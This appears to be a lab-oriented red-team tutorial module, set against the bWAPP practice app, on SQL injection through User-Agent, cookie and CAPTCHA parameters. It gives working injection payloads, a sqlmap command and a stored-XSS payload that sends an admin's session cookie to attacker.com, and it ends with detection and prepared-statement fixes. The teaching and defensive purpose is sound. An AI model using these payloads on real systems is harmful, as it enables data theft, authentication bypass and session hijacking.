Ir al contenido

📕 FIELD MANUAL 2.2: NON-STANDARD VECTORS & HTTP HEADERS

Objective: SQL injection in hidden or "trusted" parameters (Headers, Cookies, CAPTCHAs).

0views

Classification: RED TEAM EYES ONLY

Objective: SQL Injection in hidden or "trusted" parameters (Headers, Cookies, CAPTCHAs).

bWAPP Targets: SQL Injection (CAPTCHA), SQL Injection - Stored (User-Agent).

MITRE ATT&CK: T1190, T1566 (Log Poisoning).

Developers use functions to log who visits their site. Example of vulnerable PHP code (Audit Log):

$agent = $_SERVER['HTTP_USER_AGENT']; // El dev confía en esta variable
// ☠️ VULNERABILIDAD: INSERT directo a la base de datos
$sql = "INSERT INTO access_logs (user_agent, ip_address) VALUES ('$agent', '$ip')";
mysqli_query($link, $sql);

If our User-Agent contains a single quote ', we break the syntax of the INSERT.

The Technical Challenge (INSERT vs SELECT)

Sección titulada «El Desafío Técnico (INSERT vs SELECT)»

Unlike previous modules (SELECT * FROM...), here we are usually inside a INSERT INTO....

  • Problem: UNION SELECT usually doesn't work directly because we cannot "join" results to a data insertion.
  • Solution: We will use Error-Based SQLi (seen in Module 1.2) or Time-Based (which we will see in Phase 3) to extract information.

2. WEAPONIZATION: ATTACKING HEADERS AND CAPTCHAs

Sección titulada «2. WEAPONIZATION: ATAQUE A CABECERAS Y CAPTCHAs»

VECTOR A: User-Agent / Referer (Log Poisoning)

Sección titulada «VECTOR A: User-Agent / Referer (Log Poisoning)»

Objective: SQL Injection - Stored (User-Agent) in bWAPP.

  1. Intercept: We will capture any request to the vulnerable page using Burp Suite.

  2. Modify: We will go to the User-Agent header.

  3. Test Payload (The Crash):

    User-Agent: Mozilla/5.0'

    If we see a MySQL error, it is vulnerable.

  4. Extraction Payload (Error-Based): Since we are in a INSERT, we will inject a subquery that generates an error with the data we want.

    Mozilla/5.0' AND updatexml(rand(), concat(0x3a, (SELECT version())), null) , '127.0.0.1') -- -

    (Note: Sometimes we need to complete the other INSERT fields, such as the IP in the example above, to maintain valid syntax before commenting).

Cookies are just headers that the browser sends back.

  1. Intercept: We will look for the Cookie: language=en; header.
  2. Payload: Cookie: language=en' OR 1=1 -- -;Scenario: If the web uses the cookie to make a query (SELECT * FROM translations WHERE lang = '$cookie'), we will see all translations or an error.

Target: SQL Injection (CAPTCHA) in bWAPP. Sometimes, CAPTCHA validation involves querying a database to see if the token is valid.

  1. Reconnaissance: We will complete the form and the CAPTCHA. We will intercept the request.

  2. Analysis: We will see a parameter (e.g., captcha_token or similar).

  3. Injection:

    captcha_token=1' OR 1=1 -- -

    Impact: If the query is SELECT * FROM captchas WHERE token = '$input', our payload returns TRUE. The system will believe we have correctly solved the CAPTCHA without actually doing so!

By default, SQLMap DOES NOT check headers because it slows down the scan. We will have to explicitly tell it to increase the level.

Command for Headers:

sqlmap -u "http://bwapp/sqli_1.php" --cookie="PHPSESSID=..." --level 3 --dbs
  • -level 2: We will add tests to Cookies.
  • -level 3: We will add tests to User-Agent and Referer.
  • -level 5: We will test the Host header (rare, but possible).

Reference to the “Master Plan - Phase 5”

If we inject into the User-Agent and the application displays those logs in an “Admin Panel” for the Admin to see:

  1. The Attack: We will inject JavaScript code instead of SQL.

    User-Agent: <script>document.location='[http://attacker.com/cookie='+document.cookie](http://attacker.com/cookie='+document.cookie)</script>
  2. The Result: When the Admin logs in to see “Who has visited the web today”, their browser will execute the script and send us their session cookie. This is a Stored XSS via SQL Log Injection.

  1. Access Logs (Ironically): The logs themselves will show the attack. We will search for SQL strings (SELECT, UNION, AND, ') within the User-Agent or Referer columns in our SIEM.
  2. WAF Rules: We will ensure that our WAF inspects all HTTP headers, not just the URL and the Body. Many “cheap” WAFs ignore the User-Agent to save CPU.
  1. Trust NOTHING: $_SERVER['HTTP_USER_AGENT'] is as dangerous as $_GET['id'].

  2. Prepared Statements: We will use bind_param to save logs.

    $stmt = $conn->prepare("INSERT INTO logs (agent) VALUES (?)");
    $stmt->bind_param("s", $_SERVER['HTTP_USER_AGENT']);
    $stmt->execute();

    This will save the malicious string as is, without executing it as SQL code.

Status: Module 2.2 Completed. End of Phase 2. Next Step: Phase 3 - Blind SQL Injection (Operating blindly).